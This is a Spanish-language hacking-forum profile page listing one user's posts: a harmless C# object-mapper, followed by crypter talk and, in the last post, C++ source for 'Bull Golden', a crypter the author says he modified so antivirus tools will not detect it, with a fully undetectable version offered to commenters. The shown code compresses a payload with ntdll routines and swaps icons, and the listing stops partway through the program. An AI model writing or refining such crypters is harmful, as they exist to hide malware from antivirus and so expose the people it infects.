Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - xxneeco83xx

#1
C# - VB.NET / Mapper para Entidades [C#]
Julio 29, 2016, 07:48:40 PM
Que tal ! llevo mucho tiempo desde la ultima vez que ingrese aquí y compartí algo, con el tema de que ocurrieron muchos cambios en estos últimos meses y demás, se hizo dificil.
Les dejo un Mapper que desarrolle hace unos días atrás que es una alternativa a el Famoso "AutoMapper" que a mi recomendación es preferible que no se le use, ya que es demaciado lento.
Este codigo que adjuntare junto con su ejemplo de uso, pasara un object con sus navigations properties así mismo sean listas, a DTO o a ViewModel.

Código: csharp

using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text.RegularExpressions;

namespace ConsoleApplication1
{
    public class MapperConfiguration
    {
        public string Name { get; set; }
        public IList<string> AssemblyList { get; set; }
        public List<Assembly> Classes { get; set; }
    }
   
    public static class Mapper
    {
        private static MapperConfiguration _mapperConfiguration = new MapperConfiguration { Name = "DTO" };

        public static void ConfigureMapper(MapperConfiguration mapperConfiguration)
        {
            //_mapperConfiguration.Name = mapperConfiguration.Name;
            _mapperConfiguration = mapperConfiguration;

            if ( mapperConfiguration.AssemblyList != null)
            {
                foreach(var item in mapperConfiguration.AssemblyList)
                {
                    var assemblyTempList = Assembly.ReflectionOnlyLoad(item);
                    _mapperConfiguration.Classes.Add(assemblyTempList);
                }
               
            }
        }

        #region Mapper con configuracion

        public static U MapProperty<T,U>(this T source, IDictionary<string,string> configurationMapper)
            where T : class, new()
            where U : class, new()
        {
            if ( source == null || configurationMapper == null)
            {
                return default(U);
            }

            /*Obtenemos las properties del object source*/
            var sourceProperties = source.GetType().GetProperties();

            var destinyInstance = Activator.CreateInstance(typeof(U));
            var destinyProperties = destinyInstance.GetType().GetProperties();

            foreach(var i in sourceProperties)
            {
                //Buscamos si la property que quiere copiar tiene source
                var firstFind = configurationMapper.FirstOrDefault(m => m.Key.Contains(i.Name));
                if (string.IsNullOrEmpty(firstFind.Key) || string.IsNullOrEmpty(firstFind.Value))
                    continue;

                var secondFind = destinyProperties.FirstOrDefault(m => m.Name.Contains(firstFind.Value));
                if ( secondFind == null)
                {
                    continue;
                }

                if ( i.Name.Contains("Collection"))
                {

                }

                secondFind.SetValue(destinyInstance, i.GetValue(source));

            }

            return (U)destinyInstance;
        }

        #endregion

        #region Formula 1

        /*Metodo para mapear simples objects*/
        public static dynamic Map<T>(this T source)
            where T : class, new()
        {
            //Check for source
            if (source == null )
                return null;

            //Donde almacenaremos el tipo de destino
            Type destinyType = null;

            //Obtenemos todas las clases
            var classList = Assembly.GetExecutingAssembly().GetTypes();

            //Obtenemos las properties del source
            var propertiesSource = source.GetType().GetProperties();

            //Si no podemos obtener clases o properties
            if ( propertiesSource == null || classList == null )
            {
                return new Exception("Error al obtener clases o properties desde el assembly");
            }

            if (source.GetType().ToString().Contains("Collection"))
            {
                if (source.GetType().Name.Contains("ViewModel") || source.GetType().Name.Contains("DTO") || source.GetType().Name.Contains(_mapperConfiguration.Name))
                {
                    var firstTest = Regex.Split(propertiesSource.FirstOrDefault().Name, "ViewModel")[0];
                    if (string.IsNullOrEmpty(firstTest))
                    {
                        firstTest = "DTO";
                    }
                    else
                    {
                        firstTest = "ViewModel";
                    }

                    destinyType = classList.FirstOrDefault(
                        m => m.Name.Contains(Regex.Split(propertiesSource.FirstOrDefault().Name,firstTest)[0] + _mapperConfiguration.Name));
                }
                else
                {
                    destinyType = classList.FirstOrDefault(
                        m => m.Name.Contains(propertiesSource.FirstOrDefault().Name + _mapperConfiguration.Name));
                }
            }
            else
            {
                if (source.GetType().Name.Contains("ViewModel") || source.GetType().Name.Contains("DTO") || source.GetType().Name.Contains(_mapperConfiguration.Name))
                {
                    var firstTest = Regex.Split(source.GetType().Name, "ViewModel")[0];
                    if (string.IsNullOrEmpty(firstTest))
                    {
                        firstTest = "DTO";
                    } else
                    {
                        firstTest = "ViewModel";
                    }

                    destinyType = classList.FirstOrDefault(
                        m => m.Name.Contains(Regex.Split(source.GetType().Name,firstTest)[0] + _mapperConfiguration.Name));
                }
                else
                {
                    destinyType = classList.FirstOrDefault(
                        m => m.Name.Contains(source.GetType().Name + _mapperConfiguration.Name));
                }
            }

            try
            {

                //Creamos la instancia del object
                var instance = Activator.CreateInstance(destinyType);

                //Obtenemos las properties del object de destino
                var propertyOfDestiny = instance.GetType().GetProperties();

                foreach (var item in propertyOfDestiny)
                {
                    //Buscamos la property
                    var result = propertiesSource.FirstOrDefault(m => m.Name == item.Name);
                    if (result != null)
                    {
                        //En caso de que no sea un Object de tipo distinto a los nativos de C#
                        if ((!(result).PropertyType.Name.Contains("String")) && (!(result).PropertyType.Name.Contains("Int"))
                            && (!(result).PropertyType.Name.Contains("Bool")) && (!(result).PropertyType.Name.Contains("Float"))
                            && (!(result).PropertyType.Name.Contains("Double")))
                        {
                            //En caso de ser lista
                            if (result.ToString().Contains("Collection"))
                            {
                                Type type = null;

                                if (result.PropertyType.GetGenericArguments().Single().Name.Contains("ViewModel") || result.PropertyType.GetGenericArguments().Single().Name.Contains("DTO") ||
                                    result.PropertyType.GetGenericArguments().Single().Name.Contains(_mapperConfiguration.Name))
                                {
                                    var firstTest = Regex.Split(result.PropertyType.GetGenericArguments().Single().Name, "ViewModel")[0];
                                    if (string.IsNullOrEmpty(firstTest))
                                    {
                                        firstTest = "DTO";
                                    } else
                                    {
                                        firstTest = "ViewModel";
                                    }

                                    type = classList.FirstOrDefault(m => m.FullName.Contains(Regex.Split(result.PropertyType.GetGenericArguments().Single().Name,firstTest)[0] + _mapperConfiguration.Name));
                                }
                                else
                                {
                                    type = classList.FirstOrDefault(m => m.FullName.Contains(result.PropertyType.GetGenericArguments().Single().Name + _mapperConfiguration.Name));
                                }

                                if (type == null)
                                {
                                    continue;
                                }

                                var listInstance = (IList)typeof(List<>).MakeGenericType(type).GetConstructor(Type.EmptyTypes).Invoke(null);

                                item.SetValue(instance, ((ICollection)result.GetValue(source)).MapList());
                            }
                            else
                            {
                                Type type = null;
                                if (result.Name.Contains("ViewModel") || result.Name.Contains("DTO") ||
                                    result.Name.Contains(_mapperConfiguration.Name))
                                {

                                    var firstTest = Regex.Split(result.Name, "ViewModel")[0];
                                    if (string.IsNullOrEmpty(firstTest))
                                    {
                                        firstTest = "DTO";
                                    }
                                    else
                                    {
                                        firstTest = "ViewModel";
                                    }

                                    //En caso de ser un object
                                    type = classList.FirstOrDefault(m => m.FullName.Contains(Regex.Split(result.Name,firstTest)[0] + _mapperConfiguration.Name));
                                }
                                else
                                {
                                    //En caso de ser un object
                                    type = classList.FirstOrDefault(m => m.FullName.Contains(result.Name + _mapperConfiguration.Name));
                                }
                                if (type == null)
                                {
                                    continue;
                                }

                                item.SetValue(instance, result.GetValue(source).Map());
                            }
                        }
                        else
                        {
                            //Property normal
                            item.SetValue(instance, result.GetValue(source));
                        }
                    }
                }

                return instance;

            }
            catch (Exception e)
            {
                return e.Message;
            }

        }

        /*Metodos para mapear listas*/
        public static dynamic MapList<T>(this T source)
            where T : ICollection
        {
            //Check for source
            if (source == null)
                return null;

            if (source.GetType().GetGenericArguments().Count() == 0)
                return null;

            Type destinyType = null;
            bool isCollection = false;

            if (source.GetType().ToString().Contains("Collection"))
            {
                foreach(var i in source)
                {
                    if ( i.GetType().Name.Contains("ViewModel") || i.GetType().Name.Contains("DTO") || i.GetType().Name.Contains(_mapperConfiguration.Name))
                    {
                        var firstTest = Regex.Split(i.GetType().Name, "ViewModel")[0];
                        if (string.IsNullOrEmpty(firstTest))
                        {
                            firstTest = Regex.Split(i.GetType().Name, "DTO")[0];
                        }

                        destinyType = Assembly.GetExecutingAssembly().GetTypes().FirstOrDefault(
                            m => m.Name.Contains(firstTest + _mapperConfiguration.Name));
                    }
                    else
                    {
                        destinyType = Assembly.GetExecutingAssembly().GetTypes().FirstOrDefault(
                            m => m.Name.Contains(i.GetType().Name + _mapperConfiguration.Name));
                    }

                    isCollection = true;

                    break;
                }
            }

            if (!isCollection)
                return new Exception("Este object no es una lista de tipo coleccion");

            var listType = source.GetType().GetGenericArguments().Single();

            //Check if the type of object is or not a collection list.
            if (source.GetType().ToString().Contains("Collection"))
            {
                try
                {
                    dynamic list;

                    //Create instance of list
                    if ( isCollection)
                    {
                        list = (IList)typeof(List<>).MakeGenericType(destinyType).GetConstructor(Type.EmptyTypes).Invoke(null);
                    } else
                    {
                        list = Activator.CreateInstance(destinyType);
                    }

                    //Loop in the list
                    foreach (var i in source)
                    {
                        if (i.GetType().ToString().Contains("Collection"))
                        {
                            var mapped = ((ICollection)i).MapList();

                            foreach (var item in mapped)
                            {
                                ((IList<object>)list).Add(item);
                            }

                        }
                        else
                        {
                            ((IList)list).Add(i.Map());
                        }

                    }

                    return list;
                }
                catch (Exception e)
                {
                    return e.Message;
                }

            }

            return null;
        }

        #endregion

        #region Formula 2

        /*Metodo para mapear simples objects*/
        public static dynamic MapToEntity<T>(this T source)
            where T : class, new()
        {
            //Check for source
            if (source == null)
                return null;

            Type destinyType = null;

            //Obtenemos todas las clases
            var classList = Assembly.GetExecutingAssembly().GetTypes();

            //Obtenemos las properties del source
            var propertiesSource = source.GetType().GetProperties();

            //Si no podemos obtener clases o properties
            if ( propertiesSource == null || classList == null )
            {
                return new Exception("Error al obtener clases o properties desde el assembly");
            }

            if (source.GetType().ToString().Contains("Collection"))
            {
                destinyType = classList.FirstOrDefault(
                    m => m.Name.Contains(Regex.Split(propertiesSource.FirstOrDefault().Name,_mapperConfiguration.Name)[0]));

            }
            else
            {
                destinyType = classList.FirstOrDefault(
                    m => m.Name.Contains(Regex.Split(source.GetType().Name,_mapperConfiguration.Name)[0]));
            }

            try
            {
                //Creamos la instancia del object
                var instance = Activator.CreateInstance(destinyType);

                //Obtenemos las properties del object de destino
                var propertyOfDestiny = instance.GetType().GetProperties();

                foreach (var item in propertyOfDestiny)
                {
                    //Buscamos la property
                    var result = propertiesSource.FirstOrDefault(m => m.Name == item.Name);
                    if (result != null)
                    {
                        //En caso de que no sea un Object de tipo distinto a los nativos de C#
                        if ((!(result).PropertyType.Name.Contains("String")) && (!(result).PropertyType.Name.Contains("Int"))
                            && (!(result).PropertyType.Name.Contains("Bool")) && (!(result).PropertyType.Name.Contains("Float"))
                            && (!(result).PropertyType.Name.Contains("Double")))
                        {
                            //En caso de ser lista
                            if (result.ToString().Contains("Collection"))
                            {
                                var type = classList.FirstOrDefault(m => m.FullName.Contains(Regex.Split(result.PropertyType.GetGenericArguments()
                                    .Single().Name,_mapperConfiguration.Name)[0]));

                                if (type == null)
                                {
                                    continue;
                                }

                                var listInstance = (IList)typeof(List<>).MakeGenericType(type).GetConstructor(Type.EmptyTypes).Invoke(null);

                                item.SetValue(instance, ((ICollection)result.GetValue(source)).MapToEntityList());
                            }
                            else
                            {
                                //En caso de ser un object
                                var type = classList.FirstOrDefault(m => m.FullName.Contains(Regex.Split(result.Name,_mapperConfiguration.Name)[0]));

                                if (type == null)
                                {
                                    continue;
                                }

                                item.SetValue(instance, result.GetValue(source).MapToEntity());
                            }
                        }
                        else
                        {
                            //Property normal
                            item.SetValue(instance, result.GetValue(source));
                        }
                    }
                }

                return instance;

            }
            catch (Exception e)
            {
                return e.Message;
            }

        }

        /*Metodos para mapear listas*/
        public static dynamic MapToEntityList<T>(this T source)
            where T : ICollection
        {

            //Check for source
            if (source == null)
                return null;

            if (source.GetType().GetGenericArguments().Count() == 0)
                return null;

            Type destinyType = null;
            bool isCollection = false;

            if (source.GetType().ToString().Contains("Collection"))
            {
                foreach (var i in source)
                {
                    destinyType = Assembly.GetExecutingAssembly().GetTypes().FirstOrDefault(
                    m => m.Name.Contains(Regex.Split(i.GetType().Name,_mapperConfiguration.Name)[0]));

                    isCollection = true;

                    break;
                }
            }

            if (!isCollection)
                return new Exception("Este object no es una lista de tipo coleccion");

            var listType = source.GetType().GetGenericArguments().Single();

            //Check if the type of object is or not a collection list.
            if (source.GetType().ToString().Contains("Collection"))
            {
                try
                {
                    dynamic list;

                    //Create instance of list
                    if (isCollection)
                    {
                        list = (IList)typeof(List<>).MakeGenericType(destinyType).GetConstructor(Type.EmptyTypes).Invoke(null);
                    }
                    else
                    {
                        list = Activator.CreateInstance(destinyType);
                    }

                    //Loop in the list
                    foreach (var i in source)
                    {
                        if (i.GetType().ToString().Contains("Collection"))
                        {
                            var mapped = ((ICollection)i).MapToEntityList();

                            foreach (var item in mapped)
                            {
                                ((IList<object>)list).Add(item);
                            }

                        }
                        else
                        {
                            ((IList)list).Add(i.MapToEntity());
                        }

                    }

                    return list;
                }
                catch (Exception e)
                {
                    return e.Message;
                }

            }

            return null;
        }

        #endregion
    }
}



Ejemplo de uso

Código: csharp

using ConsoleApplication1.DTO;
using ConsoleApplication1.Entidades;
using System;
using System.Collections.Generic;

public class Uno
{
    public string Nombre { get; set; }
    public string Apellido { get; set; }

    public void Saludar(string message, string another)
    {
        Console.WriteLine(message + "\n" + another);
        return;
    }
}

public class Dos
{
    public string Name { get; set; }
    public string SurName { get; set; }

    public void Saludar(string message)
    {
        Console.WriteLine(message);
        return;
    }
}

namespace ConsoleApplication1
{
    public static class RemoteCall
    {
        /*
         * Assembly assembly = Assembly.LoadFile("...Assembly1.dll");
         * Type type = assembly.GetType("TestAssembly.Main");
         */
        public static T Instance<T>()
            where T : class, new()
        {
            return (T)Activator.CreateInstance(typeof(T));
        }

        public static T Invoke<T>(string methodName, object[] parameters)
            where T : class, new()
        {
            var classSource = Instance<T>();
            var methods = classSource.GetType().GetMethods();

            foreach(var i in methods)
            {
                if ( i.Name == methodName)
                {
                    i.Invoke(classSource, parameters);
                }
            }

            return default(T);
        }
    }

    class Program
    {
        static void Main(string[] args)
        {

            var objeto = new Usuario
            {
                Id = 1,
                Nombre = "Nicolas",
                Perfil = new List<Perfil>
                {
                    new Perfil
                    {
                        Tipo = "Normal",
                        Entrega = new Entrega
                        {
                            Proveedor = "Nicolas"
                        }
                    },
                    new Perfil
                    {
                        Tipo = "Punchi",
                        Entrega = new Entrega
                        {
                            Proveedor = "Jebus"
                        }
                    }
                }
            };

            //var instanciado = RemoteCall.Instance<Uno>();
            RemoteCall.Invoke<Dos>("Saludar", new object[] { "hola amigos" } );

            var source = new Uno { Nombre = "Nicolas", Apellido = "Buzzi" };

            var dic = new Dictionary<string, string>();

            dic.Add("Nombre", "Name");
            dic.Add("Apellido", "SurName");

            var mapeo = source.MapProperty<Uno,Dos>(dic);

            var listOfObjects = new List<Usuario>();
            listOfObjects.Add(objeto);
            listOfObjects.Add(objeto);

            //Inicializamos el mapper con nuestra configuracion para adaptarla a viewModel
            Mapper.ConfigureMapper(new MapperConfiguration { Name = "ViewModel" });

            /*Convetimos Entidad a DTO*/
            List<UsuarioViewModel> resultadosViewModel = listOfObjects.MapList();

            /*Convertimos los ViewModel a Entidades*/
            List<Usuario> entidadesDeViewModel = resultadosViewModel.MapToEntityList();

           
            //Inicializamos el mapper con nuestra configuracion para adaptarla a DTOS
            Mapper.ConfigureMapper(new MapperConfiguration { Name = "DTO" });

            //Convertimos el resultado de ViewModels a DTO
            List<UsuarioDTO> resultadosDTO = resultadosViewModel.MapList();

            //Convetimos los DTO a entidad
            var resultEntity = resultadosDTO.MapToEntityList();

            Console.BackgroundColor = ConsoleColor.Black;
            Console.ForegroundColor = ConsoleColor.Green;

            Console.WriteLine("Todo correcto");
            Console.ReadLine();

        }
    }
}



Les dejare el link por si quieren descargarse el proyecto completo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero que les sea de ayuda, y cualquier duda, sugerencia o comentario, estoy a la espera.
Saludos.
#2
Es que la ruta a la cual esta infectando los archivos la tienes que especificar tu, si te fijas la carpeta default que tiene predefinida es homedrive carpeta llamada nueva.
#3
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)

Revisa mis aportes anteriores y comprueba si se o no se del tema, cada API y más aun de las que hay en el code.
Por algo soy de los que aporta y no de los que critican. Mi intención fue a portar un code que tenia desarrollado
no discutir de lo que se o lo que no.
Con respecto a tus post, son puras criticas hacia la gente que aporta, si bien si hay mucha gente que aporta cosas robadas, este no es el caso.
Pero en fin no siempre se deja contento a todo el mundo, que pases un buen resto del dia, no me interesa discutir.
#4
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
#5
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Virus Total Te quema las firmas, es la primera regla de hacer crypters no subir las cosas a virus total xd

lo hice a proposito, la finalidad de este crypter como bien puse en el post para quienes lo quieran FUD que lo pidan.
No me interesa subir crypters libres para quienes solo andan en el foro para eso, sin siquiera leer. xD
#6
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
puedo usar un crypter para dejarlo fud ?
y si se puede tiene q ser en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o tambien me sirve el vb6

si usas crypter mientras funcione, puede estar desarrollado en cualquier lenguaje de programación.
si soporta cifrado y demás.
#7



Hola, aquí de nuevo trayendo un crypter que habia desarrollado hace un largo tiempo pero que modifique para que los antivirus no lo detectaran, lo que hace este crypter a diferencia del resto
no es usar un método de cifrado si no más bien comprimir el buffer, es decir con APIS nativas reduce el tamaño del archivo a cryptar y de esa forma también dejara indetectable el archivo.
Tiene la función de cambiar el icono si lo desean.
Si el crypter les parece bien, estare subiendo su version FUD para quienes comenten el el post.








CitarCodigo compresor

Código: cpp

#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>
#include <mmsystem.h>

/*BULL GOLDEN - Simple Crypter privado*/
#define COMPRESSION_FORMAT_LZNT1 (0x0002)
#define COMPRESSION_ENGINE_STANDARD (0x0000)
#define COMPRESSION_ENGINE_MAXIMUM (0x0100)

DWORD i = 0;

typedef struct _ICONDIRENTRY {
  BYTE bWidth;
  BYTE bHeight;
  BYTE bColorCount;
  BYTE bReserved;
  WORD wPlanes;
  WORD wBitCount;
  DWORD dwBytesInRes;
  DWORD dwImageOffset;
} ICONDIRENTRY,
* LPICONDIRENTRY;

typedef struct _ICONDIR {
  WORD idReserved;
  WORD idType;
  WORD idCount;
  ICONDIRENTRY idEntries[1];
} ICONDIR,
* LPICONDIR;

#pragma pack(2)
typedef struct _GRPICONDIRENTRY {
  BYTE bWidth;
  BYTE bHeight;
  BYTE bColorCount;
  BYTE bReserved;
  WORD wPlanes;
  WORD wBitCount;
  DWORD dwBytesInRes;
  WORD nID;
} GRPICONDIRENTRY,
* LPGRPICONDIRENTRY;

#pragma pack(2)
typedef struct _GRPICONDIR {
  WORD idReserved;
  WORD idType;
  WORD idCount;
  GRPICONDIRENTRY idEntries[1];
} GRPICONDIR,
* LPGRPICONDIR;

typedef ULONG NTSTATUS;

typedef DWORD ( __stdcall *_RtlCompressBuffer)(IN ULONG CompressionFormat, IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN ULONG Unknown, OUT PULONG pDestinationSize, IN PVOID WorkspaceBuffer );

typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize )(IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
OUT PULONG pUnknown );

typedef DWORD ( __stdcall *_RtlDecompressBuffer )( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PULONG pDestinationSize );

LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut);
LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize );
BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize );
DWORD WINAPI vGetFileSize ( IN LPSTR nFileName);
BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName);
LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName );

LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut) {

_RtlCompressBuffer RtlCompressBuffer;
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;

DWORD dwRet;
DWORD dwSize;
LPVOID WSB;
 
DWORD dstSize = 16 * szBuffer;

LPSTR szRet = ( LPSTR ) malloc ( dstSize );

RtlCompressBuffer = ( _RtlCompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlCompressBuffer" );
RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlGetCompressionWorkSpaceSize" );

RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet);

WSB = ( LPVOID ) malloc ( dwSize );

RtlCompressBuffer ( COMPRESSION_FORMAT_LZNT1, lpBuffer, szBuffer, szRet, dstSize, 0, dwSizeOut, WSB);

free( WSB );
return szRet;
}

LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut ) {

_RtlDecompressBuffer RtlDecompressBuffer;
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;

DWORD dwRet;
DWORD dwSize;
 
DWORD dstSize = 16 * szBuffer;

LPSTR szRet = (LPSTR) malloc ( dstSize );

RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlDecompressBuffer" );
RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlGetCompressionWorkSpaceSize" );

RtlGetCompressionWorkSpaceSize( COMPRESSION_FORMAT_LZNT1,&dwSize,&dwRet);
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,dstSize,lpBuffer,szBuffer,dwSizeOut);

return szRet;
}

LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize ) {

DWORD BytesRead;

HANDLE File = CreateFileA ( lpszFileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE || File == NULL ) return (LPSTR)"ERROR";

DWORD FileSize = GetFileSize ( File, 0 );
LPSTR Buffer = ( LPSTR ) GlobalAlloc ( GPTR, FileSize );

ReadFile ( File, Buffer, FileSize, &BytesRead, 0 );
CloseHandle ( File );

*dwSize = FileSize;

return Buffer;
}

BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize ) {

DWORD BytesRead;

HANDLE File = CreateFileA ( lpszFileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
if ( File == INVALID_HANDLE_VALUE || File == NULL ) return FALSE;

WriteFile ( File, lpBuffer, dwSize, &BytesRead, 0 );
CloseHandle ( File );

return TRUE;
}

DWORD WINAPI vGetFileSize ( IN LPSTR nFileName ) {

HANDLE hGFS = CreateFileA ( nFileName, GENERIC_READ + GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 );
DWORD szFile = GetFileSize ( hGFS, 0 );

CloseHandle( hGFS );

return szFile;
}

BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName) {

HANDLE hFile = CreateFile(szIFileName, GENERIC_READ,FILE_SHARE_WRITE+FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}

LPICONDIR lpid;
lpid = ( LPICONDIR ) malloc( sizeof( ICONDIR ) );

if(lpid == NULL) {
return FALSE;
}

DWORD dwBytesRead;
ReadFile(hFile, &lpid->idReserved, sizeof(WORD), &dwBytesRead, NULL);
ReadFile(hFile, &lpid->idType, sizeof(WORD), &dwBytesRead, NULL);
ReadFile(hFile, &lpid->idCount, sizeof(WORD), &dwBytesRead, NULL);
lpid = (LPICONDIR) realloc(lpid, (sizeof(WORD) * 3) + (sizeof(ICONDIRENTRY) * lpid->idCount));

if(lpid == NULL) {
return FALSE;
}

ReadFile(hFile, &lpid->idEntries[0], sizeof(ICONDIRENTRY) * lpid->idCount, &dwBytesRead, NULL);
LPGRPICONDIR lpgid;
lpgid = (LPGRPICONDIR)malloc(sizeof(GRPICONDIR));

if(lpgid == NULL) {
return FALSE;
}

lpgid->idReserved = lpid->idReserved;
lpgid->idType = lpid->idType;
lpgid->idCount = lpid->idCount;
lpgid = (LPGRPICONDIR)realloc(lpgid, (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount));

if(lpgid == NULL) {
return FALSE;
}

for(i = 0; i < lpgid->idCount; i++) {
lpgid->idEntries[i].bWidth = lpid->idEntries[i].bWidth;
lpgid->idEntries[i].bHeight = lpid->idEntries[i].bHeight;
lpgid->idEntries[i].bColorCount = lpid->idEntries[i].bColorCount;
lpgid->idEntries[i].bReserved = lpid->idEntries[i].bReserved;
lpgid->idEntries[i].wPlanes = lpid->idEntries[i].wPlanes;
lpgid->idEntries[i].wBitCount = lpid->idEntries[i].wBitCount;
lpgid->idEntries[i].dwBytesInRes = lpid->idEntries[i].dwBytesInRes;
lpgid->idEntries[i].nID = i + 1;
}

HANDLE hUpdate;
hUpdate = BeginUpdateResource(szEFileName, TRUE);

if(hUpdate == NULL) {
CloseHandle(hFile);
return FALSE;
}

for(i = 0; i < lpid->idCount; i++) {

LPBYTE lpBuffer = (LPBYTE) malloc(lpid->idEntries[i].dwBytesInRes);

if(lpBuffer == NULL) {
CloseHandle(hFile);
return FALSE;
}

SetFilePointer(hFile, lpid->idEntries[i].dwImageOffset, NULL, FILE_BEGIN);
ReadFile(hFile, lpBuffer, lpid->idEntries[i].dwBytesInRes, &dwBytesRead, NULL);

if(UpdateResource(hUpdate, RT_ICON, MAKEINTRESOURCE(lpgid->idEntries[i].nID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpBuffer[0], lpid->idEntries[i].dwBytesInRes) == FALSE) {

CloseHandle(hFile);
free(lpBuffer);
return FALSE;
}

free(lpBuffer);
}

CloseHandle(hFile);

if (UpdateResource(hUpdate, RT_GROUP_ICON, MAKEINTRESOURCE(1), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpgid[0], (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount)) == FALSE) {
return FALSE;
}

if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
return FALSE;
}

return TRUE;
}

LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName ) {
     
    char *extension = (char*) malloc ( 4 );
    extension = lpszFileName + lstrlenA ( lpszFileName ) - 4; 
     
return extension;
}

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil ) {

CONSOLE_SCREEN_BUFFER_INFO csbi;
COORD coord_size = { 50, 30 };
COORD coord = { 0, 0 };
SMALL_RECT rect = { 0, 0, coord_size.X-1, coord_size.Y-1 };

if ( PathFileExistsA ( "ambice.mp3" ) ) mciSendStringA ( "play ambice.mp3 repeat", 0, 0, 0  );

DWORD FileSize, dwBytes, BufferCompress, StubSize;
LPSTR FileBuffer;
HANDLE File;

HANDLE Console = GetStdHandle ( STD_OUTPUT_HANDLE );
GetConsoleScreenBufferInfo ( Console, &csbi );

SetConsoleTitle ( "Bull Golden - Crypter - BETA 1" );
SetConsoleTextAttribute ( Console, ( 0xFC ) );
SetConsoleWindowInfo ( Console, true, &rect );
SetConsoleScreenBufferSize ( Console, coord_size );

char *title = (char*)"*****Bull Guard Golden Crypter beta 1*****\n\n";

coord.X = (csbi.dwSize.X/2)-lstrlenA(title)-12, coord.Y = 2;

if ( !PathFileExistsA ( "BULL.DLL" ) ) FatalAppExitA ( 0, "No se ah encontrado el archivo BULL.DLL" );

SetConsoleCursorPosition ( Console, coord );

for ( int i = 0; title [ i ] != 0x00; title [ i ++ ] ) {
putchar ( title [ i ] );
Sleep ( 20 );
}

char *firma = (char*)"*bull*";
size_t length_firma = (size_t) lstrlenA(firma);

char path [ MAX_PATH + 1 ];
fflush ( stdin );

printf ( "\n\n°°Ingrese la ruta del archivo a cryptar:>" );
